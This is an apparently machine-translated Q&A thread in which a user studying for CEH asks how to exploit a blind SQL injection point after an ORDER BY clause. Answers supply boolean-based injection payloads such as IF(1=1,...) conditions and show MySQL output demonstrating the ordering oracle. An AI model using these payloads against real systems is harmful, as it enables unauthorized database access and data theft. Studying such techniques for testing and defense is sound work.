2013-06-22 33 views
0

我發現我的一個演示網站查詢是容易受到SQL注入(我目前做CEH)店內提供盲SQL注入

發現注射點如下:

SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [*INJECTION POINT FOUND HERE*] 

現在我需要製作一些可以幫助我利用這個我已經發現的注入點的東西。據我所知UNION SELECT不會在ORDER BY之後工作。但是,我認爲,如果1張貼在注入點查詢提供了錯誤,而如果保持空白查詢將執行盲目SQL注入可能工作如下圖所示

SELECT column_1,column_2,column_3 from table_1 where column_4='3' order by id [if 1=1 then 1,blank] 

現在... THUS盲SQL注入將工作

是否有人可以幫助我手藝與IF THEN ELSE查詢在SQL,因爲我不知道如何使用SQL IF THEN ELSE ..

試過注射這一點,但沒有工作

(IF(1 = 2),則1 ENDIF)

完整查詢

SELECT column_1, column_2, column_3 from `table_1` WHERE `column_4` = '[*available injection point*]' order by id [*available injection point*] ASC limit [*available injection point*],[*available injection point*] 
+2

我在這裏聞到一隻老鼠...... – paranoid

+0

只是出於好奇,你爲什麼故意試圖創造一個成功的注射? –

+0

@ExplosionPills他「正在做'CEH'」 – Kevin

回答

0

如果id在結果集中不是唯一的,並且存在另一列,其值根據id,您可以執行以下操作:

  1. 確定每個ID值的唯一與, unique_per_id順序(必須是不同的,以id而已,如果有必要使用descid)。
  2. 基於布爾的盲注入可能與, IF(1=1,unique_per_id,id)

實施例:

mysql> select host,user from mysql.user order by user; 
+-----------+------------------+ 
| host  | user    | 
+-----------+------------------+ 
| localhost | root    | 
| 127.0.0.1 | root    | 
+-----------+------------------+ 
2 rows in set (0.00 sec) 

mysql> select host,user from mysql.user order by user,host; 
+-----------+------------------+ 
| host  | user    | 
+-----------+------------------+ 
| 127.0.0.1 | root    | 
| localhost | root    | 
+-----------+------------------+ 
2 rows in set (0.00 sec) 

mysql> select host,user from mysql.user order by user,if(1=1,host,user); 
+-----------+------------------+ 
| host  | user    | 
+-----------+------------------+ 
| 127.0.0.1 | root    | 
| localhost | root    | 
+-----------+------------------+ 
2 rows in set (0.00 sec) 

mysql> select host,user from mysql.user order by user,if(1=0,host,user); 
+-----------+------------------+ 
| host  | user    | 
+-----------+------------------+ 
| localhost | root    | 
| 127.0.0.1 | root    | 
+-----------+------------------+ 
2 rows in set (0.00 sec) 

所以每當結果集與if(expr,host,user)順序是相同的,只需host(第二查詢)的順序,條件expr是真實的。

+0

'字符不能使用....它會變成'... :) – Yousuf

+0

@Yousuf然後它不是注入點。 – Gumbo

+0

感謝Gumbo ..它的工作 – Yousuf

-1

可以注入:

+ IF(1=1, 1, 0) 

將所得的查詢將是:

SELECT column_1,column_2,column_3 
from table_1 
where column_4='3' 
order by id + IF(1=1, 1, 0) 
+0

不能正常工作....語法錯誤或訪問衝突:1064您的SQL語法錯誤;檢查對應於你的MySQL服務器版本的手冊,在第1行'IF(1 = 1,0)'附近使用正確的語法。 – Yousuf

+0

我剛剛嘗試過,它適用於我。 – Barmar

+0

嗯...不與我合作:(....但仍然非常感謝.. – Yousuf